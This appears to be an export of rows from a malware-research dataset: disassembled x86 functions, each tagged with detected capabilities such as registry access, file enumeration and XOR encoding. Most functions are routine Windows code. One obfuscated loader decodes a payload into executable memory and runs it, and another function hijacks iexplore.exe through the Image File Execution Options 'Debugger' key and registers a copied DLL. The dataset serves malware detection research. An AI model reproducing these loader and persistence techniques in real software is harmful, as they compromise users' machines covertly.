joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x402c00
pop dword [ebp - 0x34]
mov eax, 0x402c00
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x50473e05
sub dword [ebp - 0x44], 0x1f4f8ba
mov dword [ebp - 0x40], 0x56f67628
add dword [ebp - 0x40], 0xdb3cd61d
mov dword [ebp - 0x3c], 0xd65ab95
add dword [ebp - 0x3c], 0x3ee69899
mov dword [ebp - 0x38], 0xfccfc96e
add dword [ebp - 0x38], 0x3303692
lea eax, [ebp - 0x44]
push eax
mov eax, 0x9b297692
sub eax, 0x9ae8f606
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xa98e9434
add dword [ebp - 0x44], 0xcae3d522
mov dword [ebp - 0x40], 0xfbc832d3
sub dword [ebp - 0x40], 0xba5bd15e
mov dword [ebp - 0x3c], 0x6861eb38
add dword [ebp - 0x3c], 0xfb0d8134
mov dword [ebp - 0x38], 0xa054bf19
add dword [ebp - 0x38], 0x5fab40e7
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x9733ed4f
sub eax, 0x96f36c7b
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3a5f6
push 0
call eax
mov ecx, 0x9c77d752
sub ecx, 0x9c778096
mov edi, eax
mov ebx, 0xc4837593
add ebx, 0x3bbd9a6d
add ebx, dword [ebp - 0x34]
mov edx, 0x32ea7d7f
xor dword [ebp - 8], 0x63b401e2
mov esi, dword [ebx]
add dword [ebp - 0x20], esi
add esi, edx
sub dword [ebp - 0x30], eax
mov dword [edi], esi
add edi, 0x810194a6
sub edi, 0x810194a2
add ebx, 0xd00e5768
sub ebx, 0xd00e5764
loop 0x402d17
add eax, 0x14dc3
mov ebx, eax
add eax, 0x4183c741
add eax, 0xbe7c38c4
mov ecx, 0x9469391a
sub ecx, 0x9429391a
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Persist via image file execution options registry key
Set registry value

Disassembly:
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x4031f1], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x4031fd], eax
push 0x7f
push 0x403329
push 0
call sub.kernel32.dll_GetModuleFileNameA
push str.iexplore.exe
push dword [0x4031fd]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4011ad
push 0x4031dc
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsiexplore.exe
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x401081
push 1
push 0x403184
push 1
push 0
push str.Debugger
push dword [0x4031dc]
call sub.advapi32.dll_RegSetValueExA
push dword [0x4031dc]
call sub.advapi32.dll_RegCloseKey
push 1
push str.C:WINDOWS_system32wrq60230.dll
push str.C:WINDOWS_system32qdbon.dll
call sub.kernel32.dll_CopyFileA
push 0x403027
push 0x40342d
call sub.kernel32.dll_lstrcpyA
push str.C:WINDOWS_system32wrq60230.dll
push 0x40342d
call sub.kernel32.dll_lstrcatA
push 5
push 0
push 0x40342d
push str.regsvr32
push str.open
push 0
call 0x4011be
push 0x403184
push 0x403531
call sub.kernel32.dll_lstrcpyA
push str.http:
push dword [0x4031fd]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4010f8
push eax
push 0x403531
call sub.kernel32.dll_lstrcpyA
push str.xmlwindata
push dword [0x4031fd]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x401128
push 0
push 0
push 0x403531
push str.iexplore.exe
push str.open
push 0
call 0x4011be
jmp 0x401142
push 5
push 0
push 0x403531
push str.iexplore.exe
push str.open
push 0
call 0x4011be
push 0x4031e4
push 0x4031e0
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsiexplore.exe
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
push 0x4031dc
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsiexplore.exe
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x4011ad
push 0x7f
push 0x403329
push 1
push 0
push str.Debugger
push dword [0x4031dc]
call sub.advapi32.dll_RegSetValueExA
push dword [0x4031dc]
call sub.advapi32.dll_RegCloseKey
push dword [0x4031f9]
call sub.kernel32.dll_CloseHandle
push eax
call sub.kernel32.dll_ExitProcess
jmp dword [sym.imp.shell32.dll_ShellExecuteA]
Function at 0x76aa146e
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebx
push esi
push edi
push 7
pop ecx
xor eax, eax
mov edi, 0x76aae040
rep stosd dword es:[edi], eax
xor edi, edi
push 0x76aa2946
inc edi
push 0x76aa1514
mov dword [0x76aae040], 0x20
mov dword [0x76aae048], edi
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
xor ebx, ebx
cmp eax, ebx
mov dword [0x76aae05c], eax
je 0x76aa18c4
push 0xbb8
push ebx
push 2
call fcn.76aa1528
cmp byte [0x76aae008], bl
je 0x76aa18a0
call fcn.76aa15b8
test eax, eax
je 0x76aa150c
mov byte [0x76aae008], bl
mov esi, dword [sym.imp.RPCRT4.dll_RpcServerRegisterAuthInfoA]
push ebx
push ebx
push 0xa
push ebx
call esi
test eax, eax
jne 0x76aa1896
push ebx
push ebx
push 9
push ebx
call esi
test eax, eax
jne 0x76aa1896
push ebx
push ebx
push 4
call fcn.76aa1528
pop edi
pop esi
pop ebx
ret 8
push ebx
push ebx
push edi
jmp 0x76aa1501
call fcn.76aa2901
jmp 0x76aa150c
call fcn.76aa16c2
test eax, eax
jl 0x76aa150c
call fcn.76aa1592
test eax, eax
jne 0x76aa14d9
call fcn.76aa4057
jmp 0x76aa150c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x76aa18dc
call sub.ntdll.dll_DbgPrint
pop ecx
pop ecx
jmp 0x76aa1506
Function at 0x76aa2ff2
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ntdll.dll_RtlInitUnicodeStringEx]
test eax, eax
jge 0x76aa3012
xor eax, eax
jmp 0x76aa316a
push ebx
mov ebx, dword [sym.imp.ntdll.dll_NtQueryValueKey]
push edi
lea eax, [ebp + 0xc]
push eax
xor edi, edi
push edi
push edi
push 2
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call ebx
cmp eax, edi
jge 0x76aa3055
cmp eax, 0xc0000023
je 0x76aa3055
cmp eax, 0xc000003a
je 0x76aa304d
cmp eax, 0xc0000034
je 0x76aa304d
xor eax, eax
jmp 0x76aa3168
xor eax, eax
inc eax
jmp 0x76aa3168
push esi
mov eax, dword fs:[0x18]
push dword [ebp + 0xc]
mov eax, dword [eax + 0x30]
push edi
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov esi, eax
cmp esi, edi
mov dword [ebp - 4], esi
je 0x76aa30a0
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push esi
push 2
push eax
push dword [ebp + 8]
call ebx
test eax, eax
jge 0x76aa30a7
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push esi
push edi
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
jmp 0x76aa3167
cmp dword [esi + 4], 7
je 0x76aa30b5
mov eax, dword fs:[0x18]
jmp 0x76aa3092
lea eax, [esi + 0xc]
mov dword [ebp - 8], eax
xor ebx, ebx
jmp 0x76aa30c9
inc eax
inc eax
cmp word [eax], di
jne 0x76aa30bf
inc ebx
inc eax
inc eax
mov cx, word [eax]
cmp cx, di
jne 0x76aa30bf
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, ebx
shl ecx, 3
push ecx
push edi
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
cmp eax, edi
mov dword [ebp + 8], eax
jne 0x76aa30f9
mov eax, dword fs:[0x18]
jmp 0x76aa3092
mov ecx, dword [ebp + 0x18]
mov esi, dword [ebp - 8]
mov dword [ecx], ebx
cmp word [esi], di
je 0x76aa3154
mov ebx, eax
push esi
push ebx
call dword [sym.imp.ntdll.dll_RtlInitUnicodeStringEx]
test eax, eax
jge 0x76aa3145
mov eax, dword fs:[0x18]
push dword [ebp + 8]
mov eax, dword [eax + 0x30]
mov esi, dword [sym.imp.ntdll.dll_RtlFreeHeap]
push edi
push dword [eax + 0x18]
call esi
mov eax, dword fs:[0x18]
push dword [ebp - 4]
mov eax, dword [eax + 0x30]
push edi
push dword [eax + 0x18]
call esi
jmp 0x76aa30a0
inc esi
inc esi
cmp word [esi], di
jne 0x76aa3143
add ebx, 8
inc esi
inc esi
cmp word [esi], di
jne 0x76aa3108
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
xor eax, eax
inc eax
pop esi
pop edi
pop ebx
leave
ret 0x14
Function at 0x76aa4e2f
Capabilities:
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [sym.imp.ntdll.dll_NtQueryKey]
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x14]
push dword [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
cmp eax, 0x80000005
jne 0x76aa4e9f
cmp dword [ebp + 0x18], 0
je 0x76aa4e6d
mov ecx, dword [esi]
mov ecx, dword [ecx + 0x10]
movzx edx, word [ebp + 0x1c]
inc ecx
inc ecx
cmp edx, ecx
jb 0x76aa4e9f
mov ebx, dword [ebp + 0x14]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
test eax, eax
mov dword [esi], eax
jne 0x76aa4e92
mov eax, 0xc0000017
jmp 0x76aa4e9f
lea ecx, [ebp + 0x14]
push ecx
push ebx
push eax
push 2
push dword [ebp + 8]
call edi
pop edi
pop esi
pop ebx
pop ebp
ret 0x18
Function at 0x76aa7667
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x38
push esi
mov esi, dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
push edi
push 0x76aa2538
lea eax, [ebp - 0x20]
xor edi, edi
push eax
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], 1
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
call esi
lea eax, [ebp - 0x20]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x38]
push eax
push 0x20019
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x38], 0x18
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], 0x40
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
call dword [sym.imp.ntdll.dll_NtOpenKey]
test eax, eax
jl 0x76aa77d1
mov esi, 0x400
push ebx
mov dword [ebp - 4], esi
mov eax, dword fs:[0x18]
push dword [ebp - 4]
mov eax, dword [eax + 0x30]
push 8
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov ebx, eax
cmp ebx, edi
je 0x76aa77c1
lea eax, [ebp - 4]
push eax
push esi
mov esi, dword [sym.imp.ntdll.dll_NtQueryValueKey]
push ebx
push 2
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
call esi
mov edi, 0x80000005
jmp 0x76aa774b
mov dword [ebp + 8], ebx
mov eax, dword fs:[0x18]
push dword [ebp - 4]
mov eax, dword [eax + 0x30]
push ebx
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlReAllocateHeap]
mov ebx, eax
test ebx, ebx
je 0x76aa7751
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x18]
push ebx
push 2
push eax
push dword [ebp - 8]
call esi
cmp eax, edi
jne 0x76aa7773
jmp 0x76aa7717
cmp dword [ebp + 8], 0
je 0x76aa776e
mov eax, dword fs:[0x18]
push dword [ebp + 8]
mov eax, dword [eax + 0x30]
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, 0xc0000017
test eax, eax
jl 0x76aa77a5
mov eax, dword [ebx + 4]
cmp eax, dword [ebp + 0xc]
jne 0x76aa77a8
mov ecx, dword [ebx + 8]
cmp ecx, dword [ebp + 0x10]
ja 0x76aa77a8
mov edi, dword [ebp + 0x14]
and dword [ebp - 0x10], 0
mov eax, ecx
shr ecx, 2
lea esi, [ebx + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
and dword [ebp - 0xc], 0
rep movsb byte es:[edi], byte [esi]
jmp 0x76aa77a8
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x76aa77c1
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
push dword [ebp - 8]
call dword [sym.imp.ntdll.dll_NtClose]
cmp dword [ebp - 0x10], 0
pop ebx
je 0x76aa77ec
mov ecx, dword [ebp + 0x18]
mov esi, dword [ebp + 0x1c]
mov edi, dword [ebp + 0x14]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
and dword [ebp - 0xc], 0
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret 0x18
Function at 0x76aa7d28
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x76aae004]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
xor edi, edi
push edi
lea ecx, [ebp - 0x414]
push ecx
push 0x208
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
jbe 0x76aa7dca
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x76aa7dca
push edi
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x76aa7db9
lea eax, [ebp - 0x418]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [ebp - 0x41c], eax
je 0x76aa7db9
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x418]
mov dword [esi + 0xc], eax
jmp 0x76aa7dc1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x76aa7dd2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
pop ebx
call fcn.76aac8aa
leave
ret 8

Function at 0x76aa7de8
Capabilities:
Access the windows event log
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push 4
lea eax, [ebp - 4]
push eax
push 4
xor edi, edi
push edi
push 0x76aa2684
push dword [ebp + 8]
xor esi, esi
inc esi
mov dword [ebp - 4], esi
call sub.ADVAPI32.dll_RegSetValueExW
cmp dword [0x76aae538], esi
jl 0x76aa7e43
cmp eax, edi
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push edi
push esi
push edi
jne 0x76aa7e31
push 0xc00003f9
jmp 0x76aa7e36
push 0xc00003fa
push edi
push esi
push dword [0x76aae514]
call sub.ADVAPI32.dll_ReportEventW
pop edi
xor eax, eax
pop esi
leave
ret 8
Function at 0x76aa7e91
Capabilities:
Get process heap force flags
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push dword [ebp + 0xc]
xor esi, esi
cmp dword [ebp + 0x20], esi
lea eax, [ebp - 0xc]
mov word [ebp - 0xc], si
mov word [ebp - 0xa], si
mov dword [ebp - 8], esi
push eax
je 0x76aa7ebb
call dword [sym.imp.ntdll.dll_RtlCreateUnicodeString]
jmp 0x76aa7ec1
call dword [sym.imp.ntdll.dll_RtlCreateUnicodeStringFromAsciiz]
movzx eax, al
cmp eax, esi
je 0x76aa7fce
push ebx
push edi
mov edi, dword [ebp + 0x1c]
mov eax, dword [edi]
add eax, 0x10
mov dword [ebp + 0xc], eax
mov esi, eax
mov eax, dword fs:[0x18]
push dword [ebp + 0xc]
mov eax, dword [eax + 0x30]
push 8
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov ebx, eax
test ebx, ebx
je 0x76aa7fbb
lea eax, [ebp + 0xc]
push eax
push esi
push ebx
push 2
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtQueryValueKey]
mov esi, eax
test esi, esi
mov edx, 0x80000005
jge 0x76aa7f24
cmp esi, edx
jne 0x76aa7fa4
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x76aa7f30
mov ecx, dword [ebx + 4]
mov dword [eax], ecx
test esi, esi
mov eax, dword [ebx + 8]
mov dword [edi], eax
jl 0x76aa7fa4
cmp dword [ebp + 0x18], 0
je 0x76aa7fa4
cmp dword [ebp + 0x20], 0
jne 0x76aa7f7b
mov ecx, dword [ebx + 4]
cmp ecx, 1
je 0x76aa7f57
cmp ecx, 2
je 0x76aa7f57
cmp ecx, 7
jne 0x76aa7f7b
push dword [ebp + 0xc]
and dword [ebp - 4], 0
lea ecx, [ebx + 0xc]
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0x18]
call dword [sym.imp.ntdll.dll_RtlUnicodeToMultiByteN]
mov esi, eax
test esi, esi
jl 0x76aa7fa4
mov eax, dword [ebp - 4]
jmp 0x76aa7fa2
mov ecx, dword [ebx + 8]
cmp ecx, dword [edi]
ja 0x76aa7f9d
mov edi, dword [ebp + 0x18]
mov eax, ecx
shr ecx, 2
lea esi, [ebx + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x1c]
xor esi, esi
jmp 0x76aa7f9f
mov esi, edx
mov eax, dword [ebx + 8]
mov dword [edi], eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x76aa7fc0
mov esi, 0xc0000017
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
pop edi
pop ebx
jmp 0x76aa7fd3
mov esi, 0xc0000017
push esi
call fcn.76aa7e50
pop esi
leave
ret 0x1c
Function at 0x76aa8020
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
xor eax, eax
cmp dword [ebp + 0xc], eax
mov dword [ebp - 4], eax
jne 0x76aa8045
mov eax, dword [ebp + 8]
push 0x76aa80c8
push dword [eax + 0x38]
call sub.ADVAPI32.dll_RegDeleteValueW
xor eax, eax
jmp 0x76aa80c0
push esi
mov esi, dword [ebp + 8]
push edi
push 1
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp + 8]
push ecx
push eax
mov edi, 0x76aa80c8
push edi
push dword [esi + 0x38]
mov dword [ebp - 8], 4
call fcn.76aa7e91
test eax, eax
je 0x76aa8076
and dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
add dword [ebp - 4], eax
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push edi
push dword [esi + 0x38]
call sub.ADVAPI32.dll_RegSetValueExW
mov eax, dword [esi + 0x1a0]
cmp dword [ebp - 4], eax
jb 0x76aa80a4
test eax, eax
je 0x76aa80a4
push esi
call fcn.76aa7fe3
mov eax, dword [ebp - 4]
cmp eax, 0x64
pop edi
pop esi
jb 0x76aa80c0
push 0x64
xor edx, edx
pop ecx
div ecx
push 0xa
pop eax
cmp eax, edx
sbb eax, eax
not eax
and eax, edx
leave
ret 8
Function at 0x76aaa1c2
Capabilities:
Identify system language via api

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov cx, ax
shr cx, 0xc
cmp cx, 0xa
movzx ecx, cx
jae 0x76aaa1e2
add ecx, 0x30
jmp 0x76aaa1e5
add ecx, 0x57
mov edx, dword [ebp + 8]
movsx cx, cl
mov word [edx], cx
xor ecx, ecx
mov cl, ah
and ecx, 0xf
cmp cx, 0xa
movzx ecx, cx
jae 0x76aaa204
add ecx, 0x30
jmp 0x76aaa207
add ecx, 0x57
movsx cx, cl
mov word [edx + 2], cx
xor ecx, ecx
mov cl, al
shr cl, 4
and ecx, 0xf
cmp cx, 0xa
movzx ecx, cx
jae 0x76aaa227
add ecx, 0x30
jmp 0x76aaa22a
add ecx, 0x57
movsx cx, cl
and eax, 0xf
cmp ax, 0xa
mov word [edx + 4], cx
movzx eax, ax
jae 0x76aaa243
add eax, 0x30
jmp 0x76aaa246
add eax, 0x57
and word [edx + 8], 0
movsx ax, al
mov word [edx + 6], ax
pop ebp
ret 4

Function at 0x76aaa2cf
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x274
mov ecx, dword [ebp + 0x10]
mov eax, dword [0x76aae004]
push ebx
push esi
push edi
mov dword [ebp - 0x274], ecx
xor ecx, ecx
push ecx
push ecx
push ecx
lea edx, [ebp - 0x26c]
push edx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ecx
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov dword [ebp - 0x270], eax
xor eax, eax
cmp dword [ebp - 0x270], 0xffffffff
mov esi, 0x76aae9d0
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
je 0x76aaa3dd
cmp byte [ebp + 0xc], bl
je 0x76aaa3c2
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0xc
jne 0x76aaa3a6
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push 5
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
lea eax, [ebp - 0x10]
push eax
call fcn.76aaa25c
test eax, eax
je 0x76aaa3a6
lea ecx, [ebp - 0x1c]
push ecx
push eax
call fcn.76aaa149
push dword [ebp - 0x274]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
cmp bl, 1
jne 0x76aaa3a6
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x26c]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x76aaa3d1
jmp 0x76aaa330
push dword [ebp - 0x274]
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
neg bl
pop edi
sbb ebx, ebx
and ebx, esi
pop esi
mov eax, ebx
pop ebx
call fcn.76aac8aa
leave
ret 0xc
Function at 0x76aaa3f9
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x76aae004]
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, 0x76aae5a0
mov dword [ebp - 0x18], eax
mov esi, 0x82
push 0x104
xor eax, eax
mov ecx, esi
mov edi, ebx
push ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, esi
mov esi, 0x76aae7c0
xor eax, eax
cmp dword [ebp - 0x18], 4
mov edi, esi
push ebx
rep stosd dword es:[edi], eax
push esi
jne 0x76aaa4fc
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x76aa1980
push esi
call ebx
push dword [0x76aae4b0]
push esi
call ebx
push dword [ebp - 0x14]
push esi
call ebx
push dword [0x76aae4c0]
push esi
call ebx
push dword [ebp - 0x14]
push 0
push esi
call fcn.76aaa2cf
mov edi, eax
test edi, edi
jne 0x76aaa590
push dword [ebp - 0x14]
call fcn.76aaa25c
mov ecx, eax
test ecx, ecx
je 0x76aaa590
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x10]
push eax
push ecx
call fcn.76aaa149
push 0x76aae5a0
xor eax, eax
mov ecx, 0x82
mov edi, esi
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x76aa1980
push esi
call ebx
push dword [0x76aae4ac]
push esi
call ebx
lea eax, [ebp - 0x10]
push eax
push esi
call ebx
push dword [0x76aae4c0]
push esi
call ebx
lea eax, [ebp - 0x10]
push eax
push 0
jmp 0x76aaa588
xor eax, eax
mov ecx, 0x82
mov edi, esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x76aa1980
push esi
call ebx
push dword [0x76aae4ac]
push esi
call ebx
push dword [ebp - 0x14]
push esi
call ebx
push dword [0x76aae4c0]
push esi
call ebx
push dword [ebp - 0x14]
push 0
push esi
call fcn.76aaa2cf
mov edi, eax
test edi, edi
jne 0x76aaa590
push 0x76aae5a0
mov ecx, 0x82
mov edi, esi
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x76aa1980
push esi
call ebx
push dword [0x76aae4b0]
push esi
call ebx
push 0x76aaa5a4
push esi
call ebx
mov edi, dword [ebp - 0x14]
lea eax, [edi + 2]
push eax
push esi
call ebx
push dword [0x76aae4c0]
push esi
call ebx
push edi
push 1
push esi
call fcn.76aaa2cf
mov edi, eax
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
pop ebx
call fcn.76aac8aa
leave
ret 4